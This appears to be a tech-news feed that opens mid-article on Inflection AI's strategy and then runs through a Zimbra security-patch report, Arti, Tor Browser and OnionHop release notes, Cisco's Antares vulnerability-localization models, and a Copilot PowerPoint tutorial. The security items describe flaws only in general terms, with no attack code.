White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — Jelled.AI, BoostKPI, and the European consulting firm Boundaryless — and telling TechCrunch that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.
Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.
Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.
The six-month prediction: relationship-aware AI is coming to the enterprise
Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."
If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.
The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."
That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like Rust and WebAssembly.
Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as PyTorch.
Can a diminished Inflection compete with AI giants spending billions?
Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," Hoffman said in the announcement. "When that kind of agency is available to everyone, you get superagency."
The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "relational intelligence" is, for now, a brand claim awaiting proof.
But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.
Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."
Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.




Critical Zimbra security update fixes 9 vulnerabilities
Wed, 22 Jul 2026 22:40:41 +0200

		
					  
						




Business email and collaboration suite Zimbra has received a major security update that fixes several critical issues that could allow attackers to execute malicious code on the server or in users’ browsers.



Available in commercial and open-source editions, Zimbra Collaboration Suite is a self-hosted Microsoft Exchange alternative that is popular with businesses, government entities, and educational institutions, which has made it a target for attackers in the past.



Version 10.1.20 released this week includes patches for nine vulnerabilities, including a permanent fix for a critical flaw announced in June in the SNMP monitoring component that could be exploited to inject commands when notifications are enabled.



The release also fixes four cross-site scripting (XSS) vulnerabilities in the Classic Web Client that could allow attackers to execute malicious scripts when users view emails in the web interface. For example, one vulnerability can be triggered through specially crafted attachment filenames and another when users render an attachment.



XSS vulnerabilities are dangerous because they execute scripts in the user’s browser in the context of the page. That gives rogue code the same privileges as the user, enabling it to perform malicious actions, exfiltrate data, or even leak session cookies.



In 2025, an XSS vulnerability in the calendar import feature of the Zimbra Classic Web Client (CVE-2025-27915) was exploited in attacks targeting Brazilian military personnel. Many other Zimbra vulnerabilities have been exploited over the years, sometimes as zero-days, especially by Russian state-sponsored APT groups, such as Fancy Bear (APT28), Cozy Bear (APT29), and Winter Vivern (TA473).



A recent incident involved a Russian threat group targeting a Ukrainian critical infrastructure agency in March using specifically crafted emails that exploited a known Zimbra stored XXS vulnerability (CVE-2025-66376).



Another vulnerability fixed in the newly released Zimbra 10.1.20 could allow authenticated attackers to bypass email forwarding restrictions. Adding email forwarding rules to a compromised account is a common way to achieve persistence and continuously exfiltrate emails from a mailbox over an extended period of time, even if the account password is changed.



The release also fixes a security issue related to access controls in the EWS extension, an authorization issue in mailbox delegation, and a server-side request forgery (SSRF) vulnerability in the Nextcloud integration. Nextcloud is another self-hosted collaboration suite that is popular with government and public institutions that don’t want to rely on public clouds.



It’s worth noting that this is the second Zimbra security update this month. Version 10.1.19, released on July 7, patched another unspecified security issue in the Classic Web Client that could run malicious code when specially crafted emails were opened by users.



Zimbra owner Synacor strongly advises customers to upgrade to the latest available version as soon as possible to keep their environments secure. While none of these flaws had zero-day status, hacker groups have a history for quickly adopting known Zimbra exploits.



Arti 2.5.0 released: Stable Counter Galois Onion
Wed, 22 Jul 2026 22:34:39 +0200

    
      


      
    
    Arti is our ongoing project to create a next-generation Tor implementation in
Rust.  We're happy to announce the latest release, Arti 2.5.0.
This release marks Counter Galois Onion as a stable feature and includes it in
full feature builds.  Likewise, Congestion Control is now enabled in default
builds of Arti, increasing the overall speed without any further configuration.
Unfortunately, this release also comes with the disclosure of two medium-severity
DoS security issues, TROVE-2026-024 as well as TROVE-2026-027, whose fixes
are of course included within the release.
Additionally, this release continues our ongoing development towards using
Arti as a relay and as a directory authority.
Another noteworthy change is that we've increased our minimum supported Rust
version to Rust 1.91, released in October 2025.
Of course, this release also contains a number of bugfixes, cleanups, and
improvements throughout various parts of the code base.
For full details on what we've done, including API changes,
and for information about many more minor and less-visible changes,
please see the CHANGELOG.
For more information on using Arti, see our top-level README,
and the documentation for the arti binary.
Thanks to everybody who's contributed to this release, including
5225225, Neel Chauhan, hjrgrn, moumenalaoui, pryty26.
Also, our deep thanks to our sponsors for funding the development of Arti!

    
  
    
        
          announcements
        
      

        
          releases
        
      
  
  


New Alpha Release: Tor Browser 16.0a8
Wed, 22 Jul 2026 22:34:02 +0200

    
      


      
    
    Tor Browser 16.0a8 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.
Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the Future of Tor Browser Alpha blog post.
If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the stable release channel.
Send us your feedback
If you find a bug or have a suggestion for how we could improve this release, please let us know.
Full changelog
The full changelog since Tor Browser 16.0a7 is:

All Platforms
Updated NoScript to 13.6.25.90301984
Updated Tor to 0.4.9.11
Updated OpenSSL to 3.5.7
Bug tor-browser#44857: Drop browser.display.use_system_colors from our preference list
Bug tor-browser#44896: Review Mozilla 2030929: Remove unused pref privacy.partition.network_state
Bug tor-browser#45018: resistfingerprinting not available in appearance.mjs in 152
Bug tor-browser#45019: ReportBrokenSite startup error in 152
Bug tor-browser#45047: Cross-site oracle via worklet rejection error in Safer Mode
Bug tor-browser#45072: Disable XSLT already for 16.0


Windows + macOS + Linux
Updated Firefox to 152.0a1
Bug tor-browser#44528: Make sure desktop IP Protection is disabled on desktop
Bug tor-browser#44795: Revert BB 27604 patch as not needed anymore
Bug tor-browser#44844: Use new urlbar CSS variables
Bug tor-browser#44888: Use --button-opacity-disabled for disabled styling.
Bug tor-browser#44955: Use context-fill for about-wordmark.svg
Bug tor-browser#44956: Switch colours in letterboxing setting icons to match the tab-alignment icons
Bug tor-browser#45016: Several errors about EngineProcess.sys.mjs in 152
Bug tor-browser#45017: Wrong letterboxing background in 152
Bug tor-browser#45037: Potential runtime errors in the search service when changing JS status
Bug tor-browser#45043: Re-add missing changes to settings after 151/152 rebase
Bug tor-browser#45083: Error in about:preferences due to ipprotection missing


macOS
Bug tor-browser#44728: Bundled fonts are broken on macOS when the GPU process is enabled


Linux
Bug @ libfontconfig.so.1#45048: Backport Bugzilla 2041887: Crash in after users upgraded to fontconfig 2.18.0 [tor-browser]


Android
Updated GeckoView to 152.0a1
Bug tor-browser#43856: Fix onBackPressed() deprecation
Bug tor-browser#44091: Add frequent regions to tor connection assist for android
Bug tor-browser#44175: Remove all default browser functionality (Android)
Bug tor-browser#44769: TBA crash screen has firefox asset as well as a "Send crash report" button
Bug tor-browser#45052: Initialise Tor modules on android in the same order as desktop


Build System
All Platforms
Bug tor-browser-build#41802: Remove the tor daemon requirement for signing
Bug tor-browser-build#41809: Update toolchains for Firefox 152
Bug tor-browser-build#41813: Disable build artifacts in make generate_gradle_dependencies_list-geckoview
Bug tor-browser-build#41821: Update gpg subkeys for boklm
Bug tor-browser-build#41823: Add versions information to the toolchain list update
Bug tor-browser-build#41827: Update morgan's keychain with renewed key


Windows + Linux + Android
Updated Go to 1.26.4


Windows
Bug tor-browser-build#41810: Define GetAddrInfoExCancel on mingw


Android
Bug tor-browser#45086: Compress omni.ja with xz on Android
Bug tor-browser-build#41830: Update the browser project to change omni.ja.xz






    
  
    
        
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          releases
        
      
  
  


10 Years of Binary Ninja
Wed, 22 Jul 2026 22:13:16 +0200
  submitted by    /u/Psifertex  
 [link]   [comments]


OnionHop 3.7
Wed, 22 Jul 2026 20:29:14 +0200
Fixes Snowflake on heavily-censored networks, and makes the SNI scanner easier to use with per-country lists.
Fixed

Snowflake starting again on censored networks (#71). Snowflake was failing to start with "Managed proxy ... terminated with status code 2" and the connection bar stuck, whenever the AMP-cache rendezvous was enabled. The AMP cache was being passed as a -ampcache command-line flag, which the bundled Snowflake binary (lyrebird) rejects, so it exited immediately. It is now set as an ampcache= parameter on the Snowflake bridge line, which lyrebird reads. This mainly affected networks where Smart Connect forces Snowflake AMP (for example Iran).

Added

SNI scanner compact layout. The SNI scanner now matches the bridge scanner: a "Custom list" toggle keeps the candidate-domain box collapsed until you turn it on or load, import, or request a list, so the controls take less room.
Request SNI (per-country lists). Working SNI hosts are country-specific, so the SNI scanner gained a "Request SNI" button that fetches a candidate list for your country from the OnionHop SNI-lists source and loads it for scanning. A country picker appears when the source is reachable.
Export Working. The SNI scanner can now save the working SNI hosts to a text file.
About page release links. Each release in the changelog history now has a "View on GitHub" link that opens that release's page, and the sources section lists the new OnionHop SNI Lists source.

Downloads



Platform
File




Windows installer
OnionHop-Setup-v3.exe


Windows portable
OnionHopV3-Portable-3.7-win-x64.zip


Windows CLI
OnionHop-CLI-Setup-3.7.exe / OnionHopCLI-Portable-3.7-win-x64.zip


Linux
OnionHop-x86_64.AppImage


Linux CLI
OnionHopCLI-3.7-linux-x64.tar.gz


macOS (Apple Silicon)
OnionHop-3.7-macOS-arm64.dmg


macOS (Intel)
OnionHop-3.7-macOS-x64.dmg


macOS CLI (Apple Silicon)
OnionHopCLI-3.7-macos-arm64.tar.gz


macOS CLI (Intel)
OnionHopCLI-3.7-macos-x64.tar.gz





OnionHop 3.7.2
Wed, 22 Jul 2026 20:29:10 +0200
Makes bridge-transport failures diagnosable and stops the scanner trusting dead webtunnel bridges.
Fixed

Bridge scanner verifies webtunnel for real. The scanner now confirms a webtunnel bridge with an actual handshake (a WebSocket upgrade to the bridge's own endpoint, which must return 101) instead of only checking that its CDN front answered on 443. A dead webtunnel bridge whose front is still up is now correctly shown as unreachable, so a scanned webtunnel list no longer marks bridges as working when Tor cannot connect through them (#74).
Transport start failures now say why. When a pluggable transport could not run, Tor only reported an opaque "Managed proxy ... terminated with status code 2", which hid the real cause (this is what made obfs4 and snowflake "connect then immediately fail" for some users). The app now preflights each transport binary and logs the actual reason, a crash, a wrong-architecture binary, a missing execute bit, and so on, so the problem is diagnosable instead of opaque (#74).

Downloads



Platform
File




Windows installer
OnionHop-Setup-v3.exe


Windows portable
OnionHopV3-Portable-3.7.2-win-x64.zip


Windows CLI
OnionHop-CLI-Setup-3.7.2.exe / OnionHopCLI-Portable-3.7.2-win-x64.zip


Linux
OnionHop-x86_64.AppImage


Linux CLI
OnionHopCLI-3.7.2-linux-x64.tar.gz


macOS (Apple Silicon)
OnionHop-3.7.2-macOS-arm64.dmg


macOS (Intel)
OnionHop-3.7.2-macOS-x64.dmg


macOS CLI (Apple Silicon)
OnionHopCLI-3.7.2-macos-arm64.tar.gz


macOS CLI (Intel)
OnionHopCLI-3.7.2-macos-x64.tar.gz





Cisco’s new AI model tells code reviewers where to look for vulnerabilities
Wed, 22 Jul 2026 19:05:41 +0200

					  
						




Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins.



Rather than detecting a specific CVE or generating a patch, these models search a codebase using only a Common Weakness Enumeration (CWE) description and return the files most likely to contain that class of vulnerability.



“Its purpose is to reduce a large codebase to a focused set of files that a security professional or a downstream security workflow should investigate,” Cisco’s AI researcher Supriti Vijay said via email. “The goal is not to replace a security engineer’s judgement or send them on a wild-goose chase, but to reduce fatigue and workload by helping them triage an issue earlier and focus their investigation on the most relevant parts of the codebase.”



The Antares family consists of models with 350 million, 1 billion, and 3 billion parameters trained specifically for repository-scale vulnerability localization.



The company said its largest model approaches the performance of GPT-5.5 on its internal vulnerability localization (Vloc) benchmark while remaining small enough for low-cost local deployment.



A search assistant, not a vulnerability detector



Cisco is careful to define what Antares is, and what it is not.



“Antares outputs a ranked list of source files likely to contain a relevant vulnerability, along with the terminal exploration trace that led to that result,” Cisco Foundation AI Chief Scientist Amin Karbasi wrote in a blog post, adding that the models are not meant to replace the broader application security toolchain: Human analysts or downstream security tools will still be needed to confirm exploitability, identify vulnerable lines of code, assess severity and generate fixes.



Antares differs from conventional static analysis platforms such as Semgrep or CodeQL, which primarily rely on predefined rules or queries. Cisco instead describes Antares as an evidence-driven exploration agent that adapts its search as it traverses the repository.



Cisco’s argument is that large repositories often contain thousands of files, making manual reviews exhaustive and unrealistic. By reducing the search space to a manageable shortlist, the company hopes to reduce investigation fatigue without replacing human judgement.



Claims of specialization over scale



Cisco is also making a statement about how cybersecurity models should evolve.



Instead of pursuing larger foundational models, Cisco argued that specialized, task-trained models can outperform much larger open-weight alternatives for vulnerability localization. In its evaluation Antares-3B, the largest model intended for single-GPU deployments, produced results comparable to GPT-5.5 while outperforming several substantially larger open models by Google, OpenAI and Meta.



The family also includes Antares-350M for resource-constrained environments and Antares-1B for laptops and workstations, which Cisco has made available as open-weight models on Hugging Face.



The command line interface (CLI) on the models supports targeted CWE investigations, repository-wide scans, SARIF output and local inference, which Cisco said enables organizations to keep proprietary code inside their own trust boundary.



However, because Antares identifies candidate files rather than confirmed vulnerabilities, organizations will still need to understand how often such repository-wide searches should be run, how much they improve existing triage workflows, and whether the reduction in investigation effort ultimately translates into measurable security or cost benefits.



Cisco’s new AI model tells code reviewers where to look for vulnerabilities
Wed, 22 Jul 2026 18:54:39 +0200

		
					  
						




Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins.



Rather than detecting a specific CVE or generating a patch, these models search a codebase using only a Common Weakness Enumeration (CWE) description and return the files most likely to contain that class of vulnerability.



“Its purpose is to reduce a large codebase to a focused set of files that a security professional or a downstream security workflow should investigate,” Cisco’s AI researcher Supriti Vijay said via email. “The goal is not to replace a security engineer’s judgement or send them on a wild-goose chase, but to reduce fatigue and workload by helping them triage an issue earlier and focus their investigation on the most relevant parts of the codebase.”



The Antares family consists of models with 350 million, 1 billion, and 3 billion parameters trained specifically for repository-scale vulnerability localization.



The company said its largest model approaches the performance of GPT-5.5 on its internal vulnerability localization (Vloc) benchmark while remaining small enough for low-cost local deployment.



A search assistant, not a vulnerability detector



Cisco is careful to define what Antares is, and what it is not.



“Antares outputs a ranked list of source files likely to contain a relevant vulnerability, along with the terminal exploration trace that led to that result,” Cisco Foundation AI Chief Scientist Amin Karbasi wrote in a blog post, adding that the models are not meant to replace the broader application security toolchain: Human analysts or downstream security tools will still be needed to confirm exploitability, identify vulnerable lines of code, assess severity and generate fixes.



Antares differs from conventional static analysis platforms such as Semgrep or CodeQL, which primarily rely on predefined rules or queries. Cisco instead describes Antares as an evidence-driven exploration agent that adapts its search as it traverses the repository.



Cisco’s argument is that large repositories often contain thousands of files, making manual reviews exhaustive and unrealistic. By reducing the search space to a manageable shortlist, the company hopes to reduce investigation fatigue without replacing human judgement.



Claims of specialization over scale



Cisco is also making a statement about how cybersecurity models should evolve.



Instead of pursuing larger foundational models, Cisco argued that specialized, task-trained models can outperform much larger open-weight alternatives for vulnerability localization. In its evaluation Antares-3B, the largest model intended for single-GPU deployments, produced results comparable to GPT-5.5 while outperforming several substantially larger open models by Google, OpenAI and Meta.



The family also includes Antares-350M for resource-constrained environments and Antares-1B for laptops and workstations, which Cisco has made available as open-weight models on Hugging Face.



The command line interface (CLI) on the models supports targeted CWE investigations, repository-wide scans, SARIF output and local inference, which Cisco said enables organizations to keep proprietary code inside their own trust boundary.



However, because Antares identifies candidate files rather than confirmed vulnerabilities, organizations will still need to understand how often such repository-wide searches should be run, how much they improve existing triage workflows, and whether the reduction in investigation effort ultimately translates into measurable security or cost benefits.



This article first appeared on InfoWorld.



Surround sound speaker channel numbers explained: Bigger isn't always better
Wed, 22 Jul 2026 17:34:33 +0200
Here's what to pay attention to when building a home theater system.


Firewall Types Explained: Packet Filtering, Stateful, NGFW, and WAF (2026)
Wed, 22 Jul 2026 17:17:11 +0200
By HOC Team  |  Last updated: July 2026  |  Read time: ~22 min When most people hear “firewall,”… The post Firewall Types Explained: Packet Filtering, Stateful, NGFW, and WAF (2026) appeared first on Hackers Online Club. This article has been…
Read more →
The post Firewall Types Explained: Packet Filtering, Stateful, NGFW, and WAF (2026) appeared first on IT Security News.


Firewall Types Explained: Packet Filtering, Stateful, NGFW, and WAF (2026)
Wed, 22 Jul 2026 17:05:04 +0200
By HOC Team  |  Last updated: July 2026  |  Read time: ~22 min When most people hear “firewall,”…
The post Firewall Types Explained: Packet Filtering, Stateful, NGFW, and WAF (2026) appeared first on Hackers Online Club.


At last, WhatsApp for iPad can be set up without another device
Wed, 22 Jul 2026 15:44:45 +0200
WhatsApp is making its iPad app work more like a standalone service by letting users create an account without first setting it up on a phone.

WhatsApp for iPad

Meta is rolling out the change as part of a wider WhatsApp update that also expands CarPlay support, adds basic PDF tools and makes it easier to share music. Direct registration addresses one of the largest limitations of the iPad app since its 2025 launch.

WhatsApp for iPad previously relied on the company's linked-device system, which required users to establish an account elsewhere before connecting the tablet. The new process lets users register, complete setup and begin using WhatsApp directly from the iPad app.

Meta hasn't explained whether registration still requires a phone number capable of receiving a verification code or whether an iPad can remain the account's only primary device. The change still gives iPad owners a more conventional signup process without first configuring WhatsApp on another device.


 Continue Reading on AppleInsider | Discuss on our Forums


The browser wars aren’t about search anymore — here are the best alternatives to Chrome and Safari
Wed, 22 Jul 2026 15:21:05 +0200
We’ve compiled an overview of some of the top alternative browsers available today aiming to challenge Chrome and Safari.


10 cool things Copilot can do in PowerPoint
Wed, 22 Jul 2026 13:05:35 +0200

		
					  
						




Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.



In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.



Who can use Copilot in PowerPoint



Individuals with a Microsoft 365 Personal, Family, or Premium subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have higher Copilot usage allowances and access to advanced AI features.



For business users, it’s more complicated. Organizations with more than 2,000 users must pay for Microsoft 365 Copilot licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are limitations in usage, speed, and feature availability.



To see what kind of access you have, log in to Microsoft’s Copilot Chat web hub and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.



(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our Copilot Chat tutorial for details.)



In this article:




Working with Copilot in PowerPoint



Create a presentation template



Create a presentation from a document



Add content from a document to a slide



Refine your slide text



Find or create an image



Expand your presentation with relevant slides



Summarize a presentation



Answer questions about a presentation



Help you navigate a large presentation



Generate speaker notes and/or an FAQ




Working with Copilot in PowerPoint



First, let’s quickly go over the notable settings of the Copilot sidebar.



When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.


The sidebar on the right is where you interact with Copilot in PowerPOint.

Howard Wen / Foundry



Agent mode: By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the Allow editing button above the chat window and change it to Chat only.



The tips in this guide require that Copilot be in agent mode, so make sure you see Allow editing above the chat window.



Choice of AI model: Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click Auto at the upper right of the Copilot pane and select a model from the dropdown that opens.


You can choose which AI model you want Copilot to use for a request.
Howard Wen / Foundry



The tips in this guide should work fine on the default Auto setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.



Important: Remember that generative AI output often includes errors, so always check Copilot’s output for accuracy. (Also see our tips for reducing hallucinations in Copilot.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.



1. Create a presentation template



For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.



Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.



A good prompt should contain the slide count, subject, audience, and tone. Example:




Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.




Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.


Copilot generates a presentation with placeholder data and explains its elements.
Howard Wen / Foundry



You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.



2. Create a presentation from a document



You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.



Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.



In the Copilot pane, click the + icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)


Attaching a document for Copilot to base a presentation on.
Howard Wen / Foundry



Then in the chat window, you can enter a prompt that’s as simple as “Create a presentation,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.



Answer any follow-up questions that Copilot asks, and it will then generate the presentation.


Copilot has generated a professional presentation from a social media marketing campaign document.
Howard Wen / Foundry



Note: Your marketing department may have created one or more branded company templates for Copilot to work from. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.



3. Add content from a document to a slide



Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.



In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:




Add a slide based on the attached document.



Use the attached file to add a slide about the project budget that focuses on Q1 projections.



Summarize only the financial section of the attached document as a slide.



A new Copilot-generated slide based on data from an Excel spreadsheet.
Howard Wen / Foundry



4. Refine your slide text



A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.



You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click Edit with Copilot.



On the menu that opens, you can select a preset prompt to refine the text, such as Condense or Make professional. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.


Choose a preset prompt for refining text on a slide or type in your own prompt.
Howard Wen / Foundry



Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.



Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:




Make these slides more visual and use less text.




5. Find or create an image



If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.



To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:




Add a stock photo of young adults in a cafe drinking boba tea.



Add a photo from our asset library of young adults in a cafe drinking boba tea.




To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:




Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.



Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.
Howard Wen / Foundry



Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off. 



Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.



6. Expand your presentation with relevant slides



As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.



In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:




Add a slide after slide 3 about our competitive advantages.



Add a slide after slide 11 that transitions to slide 12.



Need a transition slide? Just ask!
Howard Wen / Foundry



7. Summarize a presentation



Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.



In the Copilot pane, just type “summarize this presentation.” You can also have Copilot flag key slides that contain important information: “show me key slides.”


Ask Copilot to summarize a presentation or flag key slides.
Howard Wen / Foundry



8. Answer questions about a presentation



As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.



In the Copilot pane, type specific informational questions. Examples:




What are the action items in this deck?



What is the proposed budget mentioned here?




If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.


Ask Copilot specific questions about the contents of a presentation.
Howard Wen / Foundry



This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)



You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.



9. Help you navigate a large presentation



In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.



In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:




Show me the slides about the project timeline.




Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.


Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.
Howard Wen / Foundry



10. Generate speaker notes and/or an FAQ



Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:




Write speaker notes for every slide with one talking point per slide.



Copilot can create speaker notes in seconds.
Howard Wen / Foundry



In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:




Write an FAQ for these slides.




Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.


A Copilot-generated FAQ slide.
Howard Wen / Foundry



Related reading:




11 cool things Copilot can do in Excel



9 ways Copilot can turbocharge OneNote



PowerPoint for Microsoft 365 cheat sheet



Copilot Chat: Your hub for document creation and analysis



How to curb hallucinations in Copilot (and other genAI tools)



Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how



More Microsoft tips and tutorials








4 recs for CIOs to optimize AI budgets and improve sustainability
Wed, 22 Jul 2026 11:11:52 +0200

		
					  
						




In the client-server era, the penalty for inefficient programming, such as unoptimized database calls, was largely confined to application responsiveness. Today, in the AI era, code, architectural, and platform inefficiencies are no longer just a performance issue, they’re a financial and environmental liability. Left unchecked, poor code cascades into soaring token costs and spikes data center power consumption, directly undermining both cloud budgets and corporate sustainability goals.



